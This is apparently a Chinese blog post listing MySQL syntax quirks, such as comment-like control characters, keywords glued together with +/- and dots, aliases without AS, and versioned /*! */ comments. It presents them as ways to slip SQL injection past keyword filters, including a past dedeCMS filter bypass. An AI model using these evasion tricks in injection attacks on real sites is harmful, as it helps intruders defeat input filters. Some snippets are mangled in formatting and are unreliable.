tips1: 神奇的 (格式输出表的那个控制符)<br /> 过空格和一些正则。<br /> <br /> mysql> select
version() <br /> -> ; <br /> +----------------------+ <br /> |
version() | <br /> +----------------------+ <br /> | 5.1.50-community-log | <br /> +----------------------+ <br /> 1 row in set (0.00 sec)<br /> 一个更好玩的技巧,这个
控制符可以当注释符用(限定条件)。
mysql> select id from qs_admins where id=1;dfff and comment it; <br /> +----+ <br /> | id | <br /> +----+ <br /> | 1 | <br /> +----+ <br /> 1 row in set (0.00 sec)<br /> usage : where id ='0'
'xxxxcomment on.
tips2:神奇的- + .
mysql> select id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
mysql> select+id-1+1.from qs_admins;
+----------+
| +id-1+1. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
mysql> select-id-1+3.from qs_admins;
+----------+
| -id-1+3. |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)
(有些人不是一直在说关键字怎么过?过滤一个from ... 就是这样连起来过)
tips3: @
mysql> select@^1.from qs_admins;
+------|+
| @^1. |
+------|+
| NULL |
+------|+
这个是bypass 曾经dedeCMS filter .
或者这样也是ok.
tips4:mysql function() as xxx 也可以不用as 和空格
mysql> select-count(id)test from qs_admins;
+------|+
| test |
+------|+
| -1 |
+------|+
1 row in set (0.00 sec)
tips5:/![>5000]/ 新构造 版本号(这个可能有些过时了。)
mysql> /*!40000select\/ id from qs_admins;
+----+
| id |
+----+
| 1 |
+----+
1 row in set (0.00 sec)
------End-----如果你有什么更好的奇淫技巧,记得告诉我----O(∩_∩)O哈哈~